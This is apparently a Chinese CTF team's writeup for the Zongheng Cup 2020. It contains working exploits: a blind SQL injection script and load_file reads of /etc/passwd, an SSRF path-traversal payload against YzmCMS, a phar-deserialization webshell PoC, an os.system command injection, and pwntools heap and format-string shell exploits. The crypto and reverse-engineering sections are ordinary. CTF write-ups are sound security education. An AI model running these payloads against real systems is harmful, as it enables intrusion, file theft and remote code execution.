web

easyci

考点:MySQL读写文件

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

和巅峰极客的前端一样,而且发现也是布尔盲注,一阵狂喜;

fuzz一番竟然没有任何过滤

exp:

#python3
import requests
import time

host = 'http://eci-2zegnayqf8pwz72ze2yw.cloudeci1.ichunqiu.com/public/index.php/home/login'

def mid(bot, top):
    return (int)(0.5*(top+bot))

def transToHex(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x', '')
    return res

def sqli():
    name = ''
    for j in range(1, 2000):
        top = 126
        bot = 32
        while top > bot:
            #babyselect = '(database())'#p3rh4ps
            babyselect = 'password'#c3762483bc73d0b7943156d43911ce38->HEIHEIHEIHEI
            #babyselect = ""
            payload = "0'||ascii(substr({},{},1))>{}#".format(babyselect, j, mid(bot, top))
            data = {
                "username": payload,
                "password": "1"
            }
            proxy = {"http": "http://127.0.0.1:8080"}
            try:
                r = requests.post(url=host, data=data, timeout=3, proxies=proxy)
                #print(payload)
                #print(r.text)
                if r.text.count('>密码错误<') == 1:
                    bot = mid(bot, top) + 1
                else:
                    top = mid(bot, top)
            except:
                continue
        name += chr(top)
        print(name)

if __name__ == '__main__':
    sqli()

注出密码,登陆之后,你就中计了;

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

扫目录可以扫到很多json,里面含有一些组件信息

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

不过查看了一下,这个框架这个版本目前是没有符合情景的漏洞的;

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

真正的利用点其实就在一开始的登陆界面,没有任何waf其实也挺奇怪,说明这道题可能不是常规考点

读取/etc/passwd:

0'||ascii(substr((select load_file('/etc/passwd')),1,1))>79#

发现能读,但是/var/www/html路径却读不到东西;

那么猜测web路径可能被改了,改了就可以猜,猜不到就只能读;

md,确实猜不到。

读取/etc/apache2/apache2.conf(太长了我就不贴代码了),其中有一个路径值得关注:

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

没错,web路径就是/var/sercet/html/,用0'||ascii(substr((select load_file('/var/sercet/html/index.php')),1,1))>79#可以读取index.php的源码:

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

SQLmap一梭子Getshell

使用--file-dest和--file-write参数的话,只能创建那个文件但是不能写入内容。这里只能用--os-shel来进行写入;

ezcms

扫目录www.zip下载源码

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

发现是yzmcms

common\config\config.php看到数据库配置

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

/admin/index/login.html为管理员后台,尝试默认口令yzmcms/yzmcms登录失败,尝试是否密码为admin/admin868,成功登陆

然后找各种编辑器上传、模板修改,但都进行了严格限制

谷歌百度没找到啥可用的洞

找到github源码,看看最近的issue,找到个后台SSRF:https://github.com/yzmcms/yzmcms/issues/53

本地跟了一下代码,在application\collection\controller\collection_content.class.php的183~224行的public function collection_article_content()

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

在后台的模块管理->采集管理模块处添加节点,然后网址处填写构造的恶意页面

跟进collection类,转到yzmphp\core\class\collection.class.php

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

很明显无任何过滤的file_get_content(),利用此进行一个SSRF可以任意文件读取

尝试读/etc/passwd
ssrf.html:

<leon><a href="httpxxx://../../../../../../etc/passwd">123</a></leon>

这里用httpxxx是因为yzmphp\core\class\collection.class.php的189行对url协议前四位限制了http

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

配置如下:

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

成功读取:

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

尝试读flag:

<leon><a href="httpxxx://../../../../../../flag">123</a></leon>
纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室
flag{46a41939-3d92-411f-8ba2-3dbefa6fdff0}

hello_php

扫目录www.zip拿源码

简单审计一下,文件上传、文件后缀拼接.jpgindex.php很明显有个文件操作函数

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

明显的phar反序列化,看class.php找析构函数,发现对config.php进行写入,于是只需要反序列化控制$this->title为恶意代码即可,简单写个一句话shell,绕一下正则替换:

poc:

<?php
   class Config{
    public $title;
    public $comment;
    public $logo_url;
}
    $o = new Config();
    $o->title="';eval(\$_GET[a]);#";

    @unlink("test.phar");
    $phar = new Phar("test.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>

生成phar文件上传,由于文件名是md5(time()),所以爆破上传一下就行

exp:

index.php?img=phar://./static/02b969e2b0f2619f59521f67aa8c035d.jpg

触发phar反序列化后,config.php就写入了恶意代码,index.phpinclude了config.php,所以直接:

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室
flag{0f131b09-a441-4723-bc02-bf4516863884}

大家一起来审CMS

www.zip 源码

是海洋cms

在 adm1n/admin_smtp.php 发现了

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

直接没有waf的写入,并且是往一个php文件里面写,由于一些变量可控让我们可以代码注入

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

admin\admin登陆后台;

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

之后访问admin_smtp.php,在点击“确认”的时候抓取数据包,改包:

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

直接来一发:

纵横杯2020 Writeup by X1cT34m-小绿草信息安全实验室

Misc

签到

八进制

问卷

填写问卷

babymaze1

#coding=utf-8
from pwn import*
import numpy as np
#context.log_level = 'DEBUG'
def Get_T(s):
    line = []
    tmp = []
    j = 0
    k = 0
    start = []
    end = []
    data = ''
    for i in range(s):
        data += p.recvline()
    data = data.replace('\x23','\x00')  # black 
    data = data.replace('\x20','\x01')  # white
    data = data.replace('\x24','\x03') # flag
    data = data.replace('\x2A','\x02')
    for i in data:
        if(i == '\n'):
            line.append(tmp)
            tmp = []
            j += 1
            k = 0
        elif(i == '\x02'):
            start.append(j)
            start.append(k)
            k += 1
            tmp.append(ord(i))
        elif(i == '\x03'):
            end.append(j)
            end.append(k)
            k += 1
            tmp.append(ord(i))
        else:
            k += 1
            tmp.append(ord(i))
    return line,start,end
###############################
def up(location):
    # 到达了数组顶端
    if location[0] == 0:
        return False
    else:
        new_location = [location[0] - 1, location[1]]

        # 走过的路不再走
        if new_location in history_path:
            return False
        # 遇到墙不走
        elif maze[new_location[0]][new_location[1]] == 0:
            return False
        else:
            lookup_path.append(new_location)
            history_path.append(new_location)
            return True

def down(location):
    # 遇到迷宫最下方的时候,不能继续往下走
    if location[0] == len(maze) - 1:
        return False
    else:
        new_location = [location[0] + 1, location[1]]
        # 走过的路不再走
        if new_location in history_path:
            return False
        # 遇到墙不走
        elif maze[new_location[0]][new_location[1]] == 0:
            return False
        else:
            history_path.append(new_location)
            lookup_path.append(new_location)
            return True

def left(location):
    # 遇到迷宫最左边,不能继续往左走
    if location[1] == 0:
        return False
    else:
        new_location = [location[0], location[1] - 1]
        # 走过的路不再走
        if new_location in history_path:
            return False
        # 遇到墙不走
        elif maze[new_location[0]][new_location[1]] == 0:
            return False
        else:
            history_path.append(new_location)
            lookup_path.append(new_location)
            return True

def right(location):
    # 遇到迷宫最右边,不能继续向右移动
    if location[1] == len(maze[0]) - 1:
        return False
    else:
        new_location = [location[0], location[1] + 1]
        # 走过的路不再走
        if new_location in history_path:
            return False
        # 遇到墙不走
        elif maze[new_location[0]][new_location[1]] == 0:
            return False
        else:
            history_path.append(new_location)
            lookup_path.append(new_location)
            return True
def get_line(path):
    p = ''
    for i in range(len(path)-1):
        tmp1 = path[i]
        tmp2 = path[i + 1]
        if tmp1[0] > tmp2[0]:
            p += 'w'
        elif tmp1[0] < tmp2[0]:
            p += 's'
        if tmp1[1] > tmp2[1]:
            p += 'a'
        elif tmp1[1] < tmp2[1]:
            p += 'd'
    return p

p = remote('182.92.203.154',11001)
p.sendlineafter('Please press any key to start.','FMYY')

for i in range(5):
    log.info('LEVEL' + str(i+1))
    maze,start,end = Get_T(11 + i*10)
    lookup_path = []
    history_path = []
    lookup_path.append(start)
    history_path.append(start)
    while lookup_path[-1] != end:
        now = lookup_path[-1]
        if up(now) or down(now) or left(now) or right(now):
            continue
        lookup_path.pop()
    #print("Final:", lookup_path)
    path = get_line(lookup_path)
    #log.info('PATH:\t' + path)
    p.sendlineafter('> ',path)
    p.recvuntil('your win\n')

p.interactive()

babymaze2

input漏洞函数的非预期RCE

__import__('os').system('cat flag')

马赛克

Depix直接看

Pwn

wind_farm_panel

from pwn import*
def menu(ch):
    p.sendlineafter('>> ',str(ch))
def new(index,size,content):
    menu(1)
    p.sendlineafter(': ',str(index))
    p.sendlineafter('turbine: ',str(size))
    p.sendafter('name: ',content)
def show(index):
    menu(2)
    p.sendlineafter('viewed: ',str(index))
def edit(index,content):
    menu(3)
    p.sendlineafter('turbine: ',str(index))
    p.sendafter('input: ',content)
p = process('./main')
p = remote('182.92.203.154',28452)
libc =ELF('./libc-2.23.so')
new(0,0x200,'\x00'*0x208 + p32(0xDF1))
new(1,0x1000,'FMYY')
new(2,0x100,'\xA0')
show(2)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook']  - 0x70 - 0x620
log.info('LIBC:\t' + hex(libc_base))

IO_list_all = libc_base + libc.sym['_IO_list_all']
IO_str_jumps = libc_base + 0x3C37A0
fake_IO_FILE  = p64(0) + p64(0x61)
fake_IO_FILE += p64(0) + p64(IO_list_all - 0x10)
fake_IO_FILE += p64(0) + p64(1)
fake_IO_FILE += p64(0) + p64(libc_base + libc.search('/bin/sh').next())
fake_IO_FILE  = fake_IO_FILE.ljust(0xD8,'\x00')
fake_IO_FILE += p64(IO_str_jumps - 8)
fake_IO_FILE += p64(0) + p64(libc_base + libc.sym['system'])
new(3,0x200,'\x00'*0x200 + fake_IO_FILE)
menu(1)
p.sendline('4')
p.sendline(str(0x200))
p.interactive()

shell

from pwn import*
context.log_level = 'DEBUG'
p = process('./main')
p = remote('182.92.203.154',35264)
libc =ELF('./libc-2.23.so')
p.sendline('fg %12$p')
p.recvuntil('0x')
proc_base = int(p.recv(12),16)  - 0x203169
log.info('Proc:\t' + hex(proc_base))

payload  = 'fg %174$s'
payload  = payload.ljust(0x10,'U')
payload += p64(proc_base + 0x2030B8)
p.sendline(payload)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['getopt']
log.info('LIBC:\t' + hex(libc_base))

payload  = 'fg %' + str((libc_base + 0x45226)&0xFF) + 'c%174$hhn'
payload  = payload.ljust(0x10,'U')
payload += p64(proc_base + 0x2030C8)
p.sendline(payload )

sleep(0.2)
payload  = 'fg %' + str(((libc_base + 0x45226)>>8)&0xFF) + 'c%174$hhn'
payload  = payload.ljust(0x10,'U')
payload += p64(proc_base + 0x2030C8 + 1)
p.sendline(payload )

sleep(0.2)
payload  = 'fg %' + str(((libc_base + 0x45226)>>16)&0xFF) + 'c%174$hhn'
payload  = payload.ljust(0x10,'U')
payload += p64(proc_base + 0x2030C8 + 2)
p.sendline(payload)

sleep(0.2)
payload  = 'fg %' + str(((libc_base + 0x45226)>>24)&0xFF) + 'c%174$hhn'
payload  = payload.ljust(0x10,'U')
payload += p64(proc_base + 0x2030C8 + 3)
p.sendline(payload)

sleep(0.2)
payload  = 'fg %' + str(((libc_base + 0x45226)>>32)&0xFF) + 'c%174$hhn'
payload  = payload.ljust(0x10,'U')
payload += p64(proc_base + 0x2030C8 + 4)
p.sendline(payload)

sleep(0.2)
payload  = 'fg %' + str(((libc_base + 0x45226)>>40)&0xFF) + 'c%174$hhn'
payload  = payload.ljust(0x10,'U')
payload += p64(proc_base + 0x2030C8 + 5)
p.sendline(payload)
p.sendline('quit')
p.interactive()

Crypto

common

$$
W_i : e_i d_i g − k_i N = g − ki s \
G
{i,j} : k_i d_j e_j − k_j d_i e_i = k_i − k_j
$$

则 $k_1 k_2 = k_1 k_2, k_2 W1, g G{1,2}, W_1 W_2$ 转化成矩阵形式, 有 $x B = v$, 其中

$$
x = (k_1 k_2, k_2 d_1 g, k_1 d_2 g, d_1 d_2 g^2 )\
$$

$$
B = \begin{bmatrix} 1 & −N & 0 & N^2 \
& e_1 & −e_1 & −e_1 N \
& & e_2 & −e_2 N \
& & & e_1 e_2 \end{bmatrix} \
$$

$$
v = ( k_1 k_2, k_2 (g − k_1 s), g(k_1 − k_2 ), (g − k_1 s)(g − k_2 s) )
$$

令 $D = diag(N, N^{1/2}, N^{1+δ}, 1)$, 使其满足 Minkowski’s bound, 有 $||vD|| < vol(L) = |det(B) det(D)|$​ 即 $N^{2(1/2+δ)} < 2N^{(13/2+δ)/4}$, $\delta < 5/14 - \epsilon$.

利用 LLL 求出最短向量 $vD$, 进而求出 $x$, 根据 Wiener’s attack,

$\phi(N) = g(ed-1)/k = floor(edg/k)$

有了 $\phi(N)$ 即可构造一元二次方程分解 $N$.

由于不知道 d 的 bit_length,所以在 d 的范围数量级内进行枚举.

from Crypto.Util.number import *

e1 =  28720970875923431651096339432854172528258265954461865674640550905460254396153781189674547341687577425387833579798322688436040388359600753225864838008717449960738481507237546818409576080342018413998438508242156786918906491731633276138883100372823397583184685654971806498370497526719232024164841910708290088581
e2 =  131021266002802786854388653080729140273443902141665778170604465113620346076511262124829371838724811039714548987535108721308165699613894661841484523537507024099679248417817366537529114819815251239300463529072042548335699747397368129995809673969216724195536938971493436488732311727298655252602350061303755611563
n =  159077408219654697980513139040067154659570696914750036579069691821723381989448459903137588324720148582015228465959976312274055844998506120677137485805781117564072817251103154968492955749973403646311198170703330345340987100788144707482536112028286039187104750378366564167383729662815980782817121382587188922253
c1 =  146909924775777545824125517620214432622747621336824079421034301103629039466278879970055167808022739191107404040533998083148999374814673815811700861183666902780211467579162513402284885468509497173923312288517762537710685279334418218434239027287721913878857488858370213558290629714369437407772388155553108200163
c2 =  115438050647632891775942222426836609647233560975189459023903698975771968885651962350811446729447308791250106017608721971839646737217571069312136094548245526295433224742092456687558361490026944153234227613733080447542300903055383052411559869065719789087584331775863089548946206039897996352433427474819495059230

m1 = int(n^(1/2))

def autoflag(t):
    m2 = int(n^(1+t))
    B2 = matrix([[1,-n,  0, n**2],
                [0,e1,-e1,-e1*n],
                [0, 0, e2,-e2*n],
                [0, 0,  0,e1*e2]])

    D2 = matrix([[n, 0, 0,0],
                [0,m1, 0,0],
                [0, 0,m2,0],
                [0, 0, 0,1]])

    M = B2*D2 # k1k2, k2d1, k1d2, d1d2

    for vec in M.LLL()[:1]:
        b1,b2,b3,b4 = vec
        x2 = Matrix([[b1,b2,b3,b4]])*M.inverse()
        a,b,c,d = x2[0]
        d1 = GCD(b,d)
        d2 = GCD(c,d)
        if d1 and d2:
            print(long_to_bytes(pow(c1,d1,n))+long_to_bytes(pow(c2,d2,n)))
            exit(0)

t=0.3334
while t<0.3570:
    t+=0.0001
    autoflag(t)

digits_missing

分段解flag,最开始可以直接解传到leak函数里的c,通过已知的p,q,直接解c4,得到flag[1] + flag[2].

from Crypto.Util.number import *
c4 = 91995782648980010847427739993217486026162499349605746023085733950130331287970901582164575965127425637201059093005775243323253033284087100922267082650658959030428900175654644688492357085409246823740850913373272701143044152106592667697815257823931523933665000651956390275184280406451020398039989430172569966888
p = 8514672730643859048534394807069131309787680751164114599934679913182447855051351521282825849300875451180808934634723540177392572020614371228127350366315093
q = 11396183484662982160414520115996568641053493169441818385689998874922190184600618993189406161808331825258864834179755881024216396230998042790787143415918623
flag12 = long_to_bytes(pow(c4, inverse(0x10001, (p-1)*(q-1)), p*q))
print(flag12)  # 1b1e4c40

然后可以利用CRT求出d,得到padding,由于不知道e,所以需要枚举一下。

from functools import reduce
from gmpy2 import *
from Crypto.Util.number import *

p = 8514672730643859048534394807069131309787680751164114599934679913182447855051351521282825849300875451180808934634723540177392572020614371228127350366315093
q = 11396183484662982160414520115996568641053493169441818385689998874922190184600618993189406161808331825258864834179755881024216396230998042790787143415918623
dp = 4634673191749715344785371257538762101853031598311319863390489299958637062425141842768415934848075692534267896154614889702109236564561535721415087927569509
dq = 2784697141013150647927285038744181880232562395909713238360955579919897480173610712938239225733208967421091494647565583041208257260929211079467472399900897
c1 = 18651280944551604311574513905924240808170858244682968806319904706985057531598471703952601755416438724112982474074553590239198586111314171935361177438127669603910558881488636283078776442128635151084339480382293790405590179460228017768072311976510633046745233628899455474429389344003169695798357039738211025666

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)

def crt(a, m):
    m1, a1, lcm = m[0], a[0], m[0]
    for i in range(1, len(m)):
        m2 = m[i]
        c = a[i]-a1
        g, k1, _ = egcd(m1, m2)
        lcm = lcm*m[i]//GCD(lcm, m[i])
        if c % g:
            print('No Answer!')
            return
        x0 = c//g*k1
        t = m2//g
        x0 = (x0 % t + t) % t
        a1 += m1*x0
        m1 = m2//g*m1
    return a1
a, m = [dp, dq], [p-1, q-1]
ans = crt(a, m)
LCM = reduce(lambda x, y: x*y//gcd(x, y), m)
P = reduce(lambda x, y: x*y, m)
i = 0
x = ans+i*LCM

while x < P:
    assert x%(p-1)==dp and x%(q-1)==dq
    b = pow(c1, x, p*q)
    e = inverse(x,(p-1)*(q-1))
    if b.bit_length()==512 and e.bit_length()==32:
        print(f"b = {b}")
        break
    i += 1
    x = ans+i*LCM

# b = 8998739874124476330077050284905438547791211705007347879192939614678547567964644612148886036506107930061008040551064553043959063715512574971543459965428364

bsgs 一下得到 e1+e2(使用SageMath):

c2 = 5482916971077907100465900758386122395988093179254480170511691938212094686909346076331158369021240925800603504683768019354372182250751332596677686598659819347466337649573401050759675695503404236960750776674833294023038703715840843231408879195866584742586386333373862336287408841247917195883597624403390910372
p = 8514672730643859048534394807069131309787680751164114599934679913182447855051351521282825849300875451180808934634723540177392572020614371228127350366315093
q = 11396183484662982160414520115996568641053493169441818385689998874922190184600618993189406161808331825258864834179755881024216396230998042790787143415918623
b = 8998739874124476330077050284905438547791211705007347879192939614678547567964644612148886036506107930061008040551064553043959063715512574971543459965428364

m1, m2 = b >> 256, b & 2 ** 256 - 1
F = IntegerModRing(p*q)
mm = F(m1+m2)
c2 = F(c2)
bsgs(mm, c2, (0, 2**32)) # 1751345818
from Crypto.Util.number import *

e12 = 1751345818
c3 = 74961624700570825661425074699932176609321469056449513783085829938826707337287502198895054962001192345105970228367025392103044122840249185367359738330285315139075044769056261215439422786423423520242882616599069262320657892736490573199953747616316977906614094081725739377860475149681397270351494502879810040119
p = 8514672730643859048534394807069131309787680751164114599934679913182447855051351521282825849300875451180808934634723540177392572020614371228127350366315093
q = 11396183484662982160414520115996568641053493169441818385689998874922190184600618993189406161808331825258864834179755881024216396230998042790787143415918623

TABLE = b"01234567890abcdef"
for i in range(16):
    for j in range(16):
        for k in range(16):
            for o in range(16):
                e1 = TABLE[i]*2**24 + TABLE[j]*2**16 + TABLE[k]*2**8 + TABLE[o]
                e2 = e12 - e1
                a = (e1<<32) + e2
                if pow(a, a, p*q) == c3:
                    print(long_to_bytes(a))
# b'321e5195'

最后一部分flag3,用coppersmith来解。

mbar = bytes_to_long(b"321e5195" + long_to_bytes(padding) + b"1b1e4c40")

n = 99533148715508609137315732805340516238122605337971905073134049106535471150400953730776337851964290567462702510396193784084088446908685021259972049637120028927772077104891416698410847060838652281541457498771809838214954281245418160294140103403240809785976984535856950679868772244695570256951863999317571672437
c = 34338582171207379862033525927782528983529583622746250191048534516512185865146804370249601090807953801674089517476781590729012862579342009960254301681032365519483896873518539964443668111491961935441741311240417442342928596805632431072554504001292544711291709844962036644053777982072444079745282278911191432141

P.<x> = PolynomialRing(Zmod(n))
f = (mbar*2^128 + x)^5 - c
roots = f.small_roots(epsilon=1/25)
m = mbar*2^128 + roots[0]
m_str = long_to_bytes(m)

flags = [m_str[:8],  m_str[-24:-20], m_str[-20:-16], m_str[-16:-12], m_str[-12:]]
flag = b"flag{" + b"-".join(flags) + b"}"
print(flag)

flag{321e5195-1b1e-4c40-816b-1dab7e595f49}

Re

friednly re

sub413590
sub4120c0
sub412040
sub411db0
sub41123f是关键函数
main函数中先nop掉几个指令,能够输入
然后手动hook messageboxw,因为main函数前尝试程序自己失败了,hook成函数sub411370,
然后注册了异常,异常有注册了异常,经过整理明白,按顺序整理
sub4120c0 sm4密钥初始化
然后sub412040 sm4对我们输入加密
sub411db0 对比的答案移位 对sm4加密后的结果进行改base64加密
sub_412450最后对比
但是最后的感叹号与@不对应,想了还久
后面百度到是安洵杯的题目魔改 ,看了一下,看好像是作者没写好了
应用安洵杯的脚本 改一下就行
找到的安询杯的脚本来源
https://blog.csdn.net/qq_39542714/article/details/106834822

from pysm4 import decrypt,encrypt
from base64 import b64decode

Str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"
Str_ = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="

Str1 = ''

for i in Str:
    Str1 += Str[(Str.find(i)+32) % len(Str)]
print (Str1)
enc = "2NI5JKCBI5Hyva+8AZa3mq!!"
dec1 = ''
for i in range(len(enc)):
    if enc[i] == '!':
        dec1 += '='
    else:
        dec1 += Str_[Str1.find(enc[i])]
print (dec1)

dec2 = b64decode(dec1)
print (dec2)

import codecs

encode_hex = codecs.getencoder("hex_codec")
dec3 = int(encode_hex(dec2)[0],16)
print (dec3)

key = "Thisisinsteresth"
key = int(encode_hex(key)[0],16)
print (key)

decode_hex = codecs.getdecoder("hex_codec")
dec4 = decrypt(dec3, key)
dec4 = str(hex(dec4)[2:-1])

print (decode_hex(dec4)[0])